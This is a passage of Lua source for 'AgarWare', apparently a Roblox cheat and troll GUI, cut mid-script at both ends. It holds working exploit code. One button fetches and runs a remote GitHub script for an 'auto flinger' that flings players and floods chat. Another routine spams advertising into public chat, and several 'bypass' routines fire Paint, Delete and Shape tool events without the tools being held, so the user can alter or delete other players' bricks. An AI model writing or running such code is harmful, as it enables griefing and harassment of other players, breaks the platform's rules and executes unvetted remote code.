------------------------------------------------
-- TOOLTIP
------------------------------------------------
local sg = getScreenGui()
local tooltipFrame = Instance.new("Frame")
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = sg
local stroke = Instance.new("UIStroke", tooltipFrame)
stroke.Color = Color3.fromRGB(57, 57, 57)
local padding = Instance.new("UIPadding", tooltipFrame)
padding.PaddingTop = UDim.new(0, 6)
padding.PaddingBottom = UDim.new(0, 6)
padding.PaddingLeft = UDim.new(0, 6)
padding.PaddingRight = UDim.new(0, 6)
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text =
"A auto flinger bot that rejoins when you get noclipped. It also has anti freeze and kill.\n\n" ..
"Executing it will immediately start flinging as soon as you click execute. Leave the game to stop flinging. It will also flood messages in chat, you won't get banned but please keep in mind."
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0, 200, 0, 0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = tooltipFrame
FFHelp.MouseEnter:Connect(function()
local abs = FFHelp.AbsolutePosition
local size = FFHelp.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
FFHelp.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
------------------------------------------------
-- BUTTON EXECUTE
------------------------------------------------
FFButton.MouseButton1Click:Connect(function()
FFButton.Text = "LOADING..."
task.spawn(function()
local success, err = pcall(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/agarv69/UNIVERSAL-SCRIPT-BY-AGARV/refs/heads/main/MonkeyGang"))()
end)
if success then
FFButton.Text = "SUCCESSFULLY EXECUTED"
task.wait(3)
FFButton.Text = originalText
else
FFButton.Text = "FAILED TO EXECUTE"
task.wait(3)
FFButton.Text = originalText
end
end)
end)
------------------------------------------------
-- CLEANUP
------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_174);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdScript
local function C_178()
local script = G2L["178"];
-- LagMinimizeScript (inside LagGroup)
local LagGroup = script.Parent
local LagMinimize = LagGroup.LagTitle.LagMinimize
local function getRows()
local rows = {}
for _, child in ipairs(LagGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = LagGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
LagMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
LagGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
LagMinimize.Text = "+"
else
LagGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
LagMinimize.Text = "-"
end
end)
end;
task.spawn(C_178);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertScript
local function C_17e()
local script = G2L["17e"];
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local LocalPlayer = Players.LocalPlayer
local SpamAdvertRow = script.Parent
local SpamAdvertButton = SpamAdvertRow:WaitForChild("SpamAdvertButton")
local messages = {
"🚨AGAR WARE MIGHT JUST BE THE BEST SCRIPT EVER?",
"🚨HAVE YOU HEARD ABOUT THIS NEW META SCRIPT?",
"🚨WOW I DIDNT EXPECT AGAR WARE TO BE THIS GOOD!",
"🚨AGAR WARE PROTECTED MY BUILDS FROM GRIEFS!",
"🚨I LOVE THIS NEW SCRIPT, AGAR WARE!",
"🚨WOW AGAR WARE IS ALSO KEYLESS AND MOBILE FRIENDLY?",
"🚨AGAR WARE HAS SUCH GOOD UI!",
"🚨ITS EVEN OPEN SOURCE!",
}
local function isMuted()
local char = LocalPlayer.Character
if not char then return false end
local tiempo = char:FindFirstChild("Tiempo")
if not tiempo then return false end
local text1 = tiempo:FindFirstChild("Text1")
if not text1 then return false end
return string.find(text1.Text, "🤐") ~= nil
end
local function sendChat(message)
pcall(function()
local channels = TextChatService:WaitForChild("TextChannels", 2)
if channels then
local general = channels:FindFirstChild("RBXGeneral")
if general then
general:SendAsync(message)
return
end
end
local chatEvents = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents", 2)
if chatEvents then
local sayMessage = chatEvents:WaitForChild("SayMessageRequest", 2)
if sayMessage then
sayMessage:FireServer(message, "All")
end
end
end)
end
local isActive = false
local spamTask = nil
local originalText = "Spam Adver Agar Ware"
local function shuffled(t)
local copy = {table.unpack(t)}
for i = #copy, 2, -1 do
local j = math.random(1, i)
copy[i], copy[j] = copy[j], copy[i]
end
return copy
end
local function startSpam()
isActive = true
SpamAdvertButton.Text = "Stop"
spamTask = task.spawn(function()
while isActive do
local shuffledMessages = shuffled(messages)
for _, msg in ipairs(shuffledMessages) do
if not isActive then break end
local finalMsg = isMuted() and (msg .. " SHIT") or msg
sendChat(finalMsg)
task.wait(15)
end
end
end)
end
local function stopSpam()
isActive = false
SpamAdvertButton.Text = originalText
if spamTask then
task.cancel(spamTask)
spamTask = nil
end
end
SpamAdvertButton.MouseButton1Click:Connect(function()
if isActive then
stopSpam()
else
startSpam()
end
end)
end;
task.spawn(C_17e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxScript
local function C_181()
local script = G2L["181"];
script.Parent.PPBoomboxButton.MouseButton1Click:Connect(function()
local Player = game.Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
Humanoid:UnequipTools()
-- Find all boomboxes and store original grips
local boomboxes = {}
local originalGrips = {}
for _, item in pairs(Player.Backpack:GetChildren()) do
if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then
table.insert(boomboxes, item)
originalGrips[item] = item.Grip -- Save original grip
end
end
-- Position boomboxes FIRST (before equipping)
for i, tool in pairs(boomboxes) do
if tool:FindFirstChild("Handle") then
if i == 1 then
-- First boombox
tool.Grip = CFrame.new(1.5, 0.25, 1.4) * CFrame.Angles(math.rad(90), 0, 0)
print("✅ Boombox 1 position set at (1.5, 0.25, 1.4)")
elseif i == 2 then
-- Second boombox
tool.Grip = CFrame.new(1.5, 1.3, 1.4) * CFrame.Angles(math.rad(90), math.rad(90), 0)
print("✅ Boombox 2 position set at (1.5, 1.3, 1.4)")
else
-- Third boombox and onwards (X increases by 2.5 each time)
local xPos = 1.5 + (2.5 * (i - 2))
tool.Grip = CFrame.new(xPos, 1.3, 1.4) * CFrame.Angles(math.rad(90), math.rad(90), 0)
print("✅ Boombox "..i.." position set at ("..xPos..", 1.3, 1.4)")
end
end
end
-- THEN equip all boomboxes
for _, tool in pairs(boomboxes) do
tool.Parent = Character
end
-- Reset grips when tools are unequipped
for _, tool in pairs(boomboxes) do
tool.Unequipped:Connect(function()
if originalGrips[tool] then
tool.Grip = originalGrips[tool]
end
end)
end
print("✅ All boomboxes equipped with positions!")
end)
end;
task.spawn(C_181);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitScript
local function C_184()
local script = G2L["184"];
script.Parent.PPBkitButton.MouseButton1Click:Connect(function()
local Player = game.Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
Humanoid:UnequipTools()
-- Find all bkit tools IN ORDER
local bkitTools = {}
local toolNames = {"Build", "Delete", "Paint", "Shape", "Shovel", "Sign"}
local originalGrips = {}
-- Loop through toolNames order to keep them matched
for _, toolName in pairs(toolNames) do
for _, item in pairs(Player.Backpack:GetChildren()) do
if item.Name == toolName and item:IsA("Tool") then
table.insert(bkitTools, item)
originalGrips[item] = item.Grip -- Save original grip
break -- Only add one of each tool
end
end
end
-- Position bkit tools FIRST (before equipping)
local positions = {
CFrame.new(2.2, 1.7, -0.7) * CFrame.Angles(0, 0, 0), -- Build
CFrame.new(0.7, 1.7, -0.7) * CFrame.Angles(0, 0, 0), -- Delete
CFrame.new(2.10, 1.45, 1.30) * CFrame.Angles(math.rad(90), math.rad(90), 0), -- Paint
CFrame.new(1.45, 1.3, 1.2) * CFrame.Angles(0, 0, 0), -- Shape
CFrame.new(1.45, 1.8, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)), -- Shovel
CFrame.new(-1.45, -0.2, 1.2) * CFrame.Angles(math.rad(270), 0, math.rad(180)) -- Sign
}
for i, tool in pairs(bkitTools) do
if tool:FindFirstChild("Handle") and positions[i] then
tool.Grip = positions[i]
print("✅ "..tool.Name.." position set!")
end
end
-- THEN equip all bkit tools
for _, tool in pairs(bkitTools) do
tool.Parent = Character
end
-- Reset grips when tools are unequipped
for _, tool in pairs(bkitTools) do
tool.Unequipped:Connect(function()
if originalGrips[tool] then
tool.Grip = originalGrips[tool]
end
end)
end
print("✅ Bkit tools equipped with positions!")
end)
end;
task.spawn(C_184);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassScript
local function C_189()
local script = G2L["189"];
-- BypassScript (inside BypassGroup)
local BypassGroup = script.Parent
local BypassMinimize = BypassGroup.BypassTitle.BypassMinimize
local function getRows()
local rows = {}
for _, child in ipairs(BypassGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = BypassGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
BypassMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
BypassGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
BypassMinimize.Text = "+"
else
BypassGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
BypassMinimize.Text = "-"
end
end)
end;
task.spawn(C_189);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassToolTip
local function C_18a()
local script = G2L["18a"];
-- ============================================================
-- BYPASS TICKBOX TOOLTIP SCRIPT
-- Tooltips for tool bypass tickboxes
-- ============================================================
local Group = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND TICKBOXES
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local PaintBypassTickBox = findDescendant("PaintBypassTickBox")
local DeleteBypassTickBox = findDescendant("DeleteBypassTickBox")
local BuildBypassTickBox = findDescendant("BuildBypassTickBox")
local ShapeBypassTickBox = findDescendant("ShapeBypassTickBox")
local SignBypassTickBox = findDescendant("SignBypassTickBox")
local ShovelBypassTickBox = findDescendant("ShovelBypassTickBox")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
local paintTooltip = makeTooltip("Allows you to use Paint without holding it.")
local deleteTooltip = makeTooltip("Allows you to use Delete without holding it.")
local buildTooltip = makeTooltip("Allows you to use Build without holding it.")
local shapeTooltip = makeTooltip("Allows you to use Shape without holding it.")
local signTooltip = makeTooltip("Allows you to use Sign without holding it.")
local shovelTooltip = makeTooltip("Allows you to use Shovel without holding it.")
-- ============================================================
-- HOOK THEM
-- ============================================================
hookTooltip(PaintBypassTickBox, paintTooltip)
hookTooltip(DeleteBypassTickBox, deleteTooltip)
hookTooltip(BuildBypassTickBox, buildTooltip)
hookTooltip(ShapeBypassTickBox, shapeTooltip)
hookTooltip(SignBypassTickBox, signTooltip)
hookTooltip(ShovelBypassTickBox, shovelTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
paintTooltip:Destroy()
deleteTooltip:Destroy()
buildTooltip:Destroy()
shapeTooltip:Destroy()
signTooltip:Destroy()
shovelTooltip:Destroy()
end
end)
end;
task.spawn(C_18a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassScript
local function C_190()
local script = G2L["190"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local PaintBypassRow = script.Parent
local BypassGroup = PaintBypassRow.Parent
local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
local PaintBypassTickBox = PaintBypassRow:WaitForChild("PaintBypassTickBox")
local PaintBypassText = PaintBypassRow:WaitForChild("PaintBypassText")
-- Find the Range Bypass value
local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
local isEnabled = false
local mouseConn = nil
local backpackConn = nil
local charConn = nil
local lastClickTime = 0
local clickCount = 0
local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no painting
local NORMAL_TEXT = "Paint"
local NOT_FOUND_TEXT = "Tool not found"
local function updateVisual()
if isEnabled then
PaintBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
else
PaintBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
updateVisual()
local mouse = LocalPlayer:GetMouse()
local function disable()
if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
if charConn then charConn:Disconnect(); charConn = nil end
local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint")
if paintUI then paintUI.Enabled = false end
print("[PaintBypass] OFF")
end
local function hasPaintTool()
return LocalPlayer.Backpack:FindFirstChild("Paint")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
end
-- INSTANT re-equip and unequip function (keeps UI visible)
local function refreshPaintTool()
local paintTool = hasPaintTool()
if not paintTool then
print("[PaintBypass] Paint tool not found, cannot refresh")
return false
end
local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint")
if not paintUI then
print("[PaintBypass] Paint UI not found, cannot refresh")
return false
end
-- Store currently equipped tool to re-equip it after
local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
-- Move to backpack if it's in character
if paintTool.Parent == LocalPlayer.Character then
paintTool.Parent = LocalPlayer.Backpack
task.wait()
end
-- Equip paint tool instantly
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(paintTool)
-- Use RenderStepped to unequip on the very next frame (invisible to player)
game:GetService("RunService").RenderStepped:Wait()
-- Enable UI BEFORE unequipping
paintUI.Enabled = true
-- Unequip immediately
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:UnequipTools()
end
-- Wait a tiny bit and force UI to stay enabled
task.wait(0.05)
paintUI.Enabled = true
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(previousTool)
end
end
print("[PaintBypass] Tool refreshed (invisible, UI kept)")
return true
end
return false
end
local function enable()
local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint")
if not paintUI then
print("[PaintBypass] Paint UI not found")
isEnabled = false
updateVisual()
return
end
local paintTool = hasPaintTool()
if not paintTool then
print("[PaintBypass] Paint tool not found in backpack or character")
isEnabled = false
updateVisual()
return
end
local paintEvent = paintTool:FindFirstChild("Script") and paintTool.Script:FindFirstChild("Event")
if not paintEvent then
print("[PaintBypass] Paint event not found")
isEnabled = false
updateVisual()
return
end
-- Initial refresh (instant and invisible)
refreshPaintTool()
if mouseConn then mouseConn:Disconnect() end
mouseConn = mouse.Button1Down:Connect(function()
if not isEnabled then return end
local target = mouse.Target
if target and not paintUI.PickerUI.Visible then
local currentTime = tick()
-- Track clicks to detect if painting is not working
if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
clickCount = clickCount + 1
else
clickCount = 1
end
lastClickTime = currentTime
-- If we've clicked rapidly many times, assume the tool needs refresh
if clickCount >= AUTO_REFRESH_THRESHOLD then
print("[PaintBypass] Auto-refresh triggered (tool may have stopped working)")
refreshPaintTool()
clickCount = 0 -- Reset counter
end
-- Check if Range Bypass is enabled
local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
local inRange = true
if inRange then
-- Re-find the paint tool and event in case it changed
local currentPaintTool = hasPaintTool()
if currentPaintTool then
local currentEvent = currentPaintTool:FindFirstChild("Script") and currentPaintTool.Script:FindFirstChild("Event")
local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Paint")
if currentEvent and currentUI then
currentEvent:FireServer(
target,
mouse.TargetSurface,
mouse.Hit.Position,
currentUI.Button.Text,
currentUI.Color.Value.BackgroundColor3,
currentUI.Mater.Value.Text,
currentUI.MaterUI.Spray.Input.Text
)
else
print("[PaintBypass] Event or UI lost, refreshing...")
refreshPaintTool()
end
end
end
end
end)
-- Watch backpack for paint tool removal
if backpackConn then backpackConn:Disconnect() end
backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
if child.Name == "Paint" then
task.wait(0.2)
if not hasPaintTool() then
print("[PaintBypass] Paint tool removed, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
-- Watch character for paint tool removal
if charConn then charConn:Disconnect() end
if LocalPlayer.Character then
charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
if child.Name == "Paint" then
task.wait(0.2)
if not hasPaintTool() then
print("[PaintBypass] Paint tool removed from character, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
end
print("[PaintBypass] ON")
end
--------------------------------------------------
-- TOGGLE
--------------------------------------------------
PaintBypassTickBox.MouseButton1Down:Connect(function()
-- Check if tool exists when clicking
if not hasPaintTool() then
PaintBypassText.Text = NOT_FOUND_TEXT
end
end)
PaintBypassTickBox.MouseButton1Up:Connect(function()
-- Reset text when releasing
PaintBypassText.Text = NORMAL_TEXT
end)
PaintBypassTickBox.MouseButton1Click:Connect(function()
-- Only toggle if tool exists
if not hasPaintTool() then
print("[PaintBypass] Cannot enable - Paint tool not found")
return
end
isEnabled = not isEnabled
updateVisual()
if isEnabled then
enable()
else
disable()
end
end)
--------------------------------------------------
-- CLEANUP
--------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
end
end)
end;
task.spawn(C_190);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassScript
local function C_194()
local script = G2L["194"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local DeleteBypassRow = script.Parent
local BypassGroup = DeleteBypassRow.Parent
local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
local DeleteBypassTickBox = DeleteBypassRow:WaitForChild("DeleteBypassTickBox")
local DeleteBypassText = DeleteBypassRow:WaitForChild("DeleteBypassText")
-- Find the Range Bypass value
local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
local isEnabled = false
local mouseConn = nil
local backpackConn = nil
local charConn = nil
local lastClickTime = 0
local clickCount = 0
local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no deletion
local NORMAL_TEXT = "Delete"
local NOT_FOUND_TEXT = "Tool not found"
local function updateVisual()
if isEnabled then
DeleteBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
else
DeleteBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
updateVisual()
local mouse = LocalPlayer:GetMouse()
local function disable()
if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
if charConn then charConn:Disconnect(); charConn = nil end
print("[DeleteBypass] OFF")
end
local function hasDeleteTool()
return LocalPlayer.Backpack:FindFirstChild("Delete")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Delete"))
end
-- INSTANT re-equip and unequip function
local function refreshDeleteTool()
local deleteTool = hasDeleteTool()
if not deleteTool then
print("[DeleteBypass] Delete tool not found, cannot refresh")
return false
end
-- Store currently equipped tool to re-equip it after
local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
-- Move to backpack if it's in character
if deleteTool.Parent == LocalPlayer.Character then
deleteTool.Parent = LocalPlayer.Backpack
task.wait()
end
-- Equip delete tool instantly
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(deleteTool)
-- Use RenderStepped to unequip on the very next frame (invisible to player)
game:GetService("RunService").RenderStepped:Wait()
-- Unequip immediately
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:UnequipTools()
end
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
task.wait()
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(previousTool)
end
end
print("[DeleteBypass] Tool refreshed (invisible)")
return true
end
return false
end
local function enable()
local deleteTool = hasDeleteTool()
if not deleteTool then
print("[DeleteBypass] Delete tool not found in backpack or character")
isEnabled = false
updateVisual()
return
end
local deleteEvent = deleteTool:FindFirstChild("Script") and deleteTool.Script:FindFirstChild("Event")
if not deleteEvent then
print("[DeleteBypass] Delete event not found")
isEnabled = false
updateVisual()
return
end
-- Initial refresh
refreshDeleteTool()
if mouseConn then mouseConn:Disconnect() end
mouseConn = mouse.Button1Down:Connect(function()
if not isEnabled then return end
local target = mouse.Target
-- Only delete if target is a "Brick"
if target and target.Name == "Brick" then
local currentTime = tick()
-- Track clicks to detect if deletion is not working
if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
clickCount = clickCount + 1
else
clickCount = 1
end
lastClickTime = currentTime
-- If we've clicked rapidly many times, assume the tool needs refresh
if clickCount >= AUTO_REFRESH_THRESHOLD then
print("[DeleteBypass] Auto-refresh triggered (tool may have stopped working)")
refreshDeleteTool()
clickCount = 0 -- Reset counter
end
-- Check if Range Bypass is enabled
local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
local inRange = true
if inRange then
-- Re-find the delete tool and event in case it changed
local currentDeleteTool = hasDeleteTool()
if currentDeleteTool then
local currentEvent = currentDeleteTool:FindFirstChild("Script") and currentDeleteTool.Script:FindFirstChild("Event")
if currentEvent then
currentEvent:FireServer(target, mouse.Hit.Position)
else
print("[DeleteBypass] Event lost, refreshing...")
refreshDeleteTool()
end
end
end
end
end)
-- Watch backpack for delete tool removal
if backpackConn then backpackConn:Disconnect() end
backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
if child.Name == "Delete" then
task.wait(0.2)
if not hasDeleteTool() then
print("[DeleteBypass] Delete tool removed, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
-- Watch character for delete tool removal
if charConn then charConn:Disconnect() end
if LocalPlayer.Character then
charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
if child.Name == "Delete" then
task.wait(0.2)
if not hasDeleteTool() then
print("[DeleteBypass] Delete tool removed from character, auto disabled")
isEnabled = false
updateVisual()
disable()
end
end
end)
end
print("[DeleteBypass] ON")
end
--------------------------------------------------
-- TOGGLE
--------------------------------------------------
DeleteBypassTickBox.MouseButton1Down:Connect(function()
-- Check if tool exists when clicking
if not hasDeleteTool() then
DeleteBypassText.Text = NOT_FOUND_TEXT
end
end)
DeleteBypassTickBox.MouseButton1Up:Connect(function()
-- Reset text when releasing
DeleteBypassText.Text = NORMAL_TEXT
end)
DeleteBypassTickBox.MouseButton1Click:Connect(function()
-- Only toggle if tool exists
if not hasDeleteTool() then
print("[DeleteBypass] Cannot enable - Delete tool not found")
return
end
isEnabled = not isEnabled
updateVisual()
if isEnabled then
enable()
else
disable()
end
end)
--------------------------------------------------
-- CLEANUP
--------------------------------------------------
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
end
end)
end;
task.spawn(C_194);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassScript
local function C_198()
local script = G2L["198"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local ShapeBypassRow = script.Parent
local BypassGroup = ShapeBypassRow.Parent
local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
local ShapeBypassTickBox = ShapeBypassRow:WaitForChild("ShapeBypassTickBox")
local ShapeBypassText = ShapeBypassRow:WaitForChild("ShapeBypassText")
-- Find the Range Bypass value
local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
local isEnabled = false
local mouseConn = nil
local backpackConn = nil
local charConn = nil
local lastClickTime = 0
local clickCount = 0
local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no shaping
local NORMAL_TEXT = "Shape"
local NOT_FOUND_TEXT = "Tool not found"
local function updateVisual()
if isEnabled then
ShapeBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
else
ShapeBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
updateVisual()
local mouse = LocalPlayer:GetMouse()
local function disable()
if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
if charConn then charConn:Disconnect(); charConn = nil end
local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape")
if shapeUI then shapeUI.Enabled = false end
print("[ShapeBypass] OFF")
end
local function hasShapeTool()
return LocalPlayer.Backpack:FindFirstChild("Shape")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape"))
end
-- INSTANT re-equip and unequip function (keeps UI visible)
local function refreshShapeTool()
local shapeTool = hasShapeTool()
if not shapeTool then
print("[ShapeBypass] Shape tool not found, cannot refresh")
return false
end
local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape")
if not shapeUI then
print("[ShapeBypass] Shape UI not found, cannot refresh")
return false
end
-- Store currently equipped tool to re-equip it after
local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
-- Move to backpack if it's in character
if shapeTool.Parent == LocalPlayer.Character then
shapeTool.Parent = LocalPlayer.Backpack
task.wait()
end
-- Equip shape tool instantly
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(shapeTool)
-- Use RenderStepped to unequip on the very next frame (invisible to player)
game:GetService("RunService").RenderStepped:Wait()
-- Enable UI BEFORE unequipping
shapeUI.Enabled = true
-- Unequip immediately
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:UnequipTools()
end
-- Wait a tiny bit and force UI to stay enabled
task.wait(0.05)
shapeUI.Enabled = true
-- Re-equip previous tool if there was one
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
LocalPlayer.Character.Humanoid:EquipTool(previousTool)
end
end
print("[ShapeBypass] Tool refreshed (invisible, UI kept)")
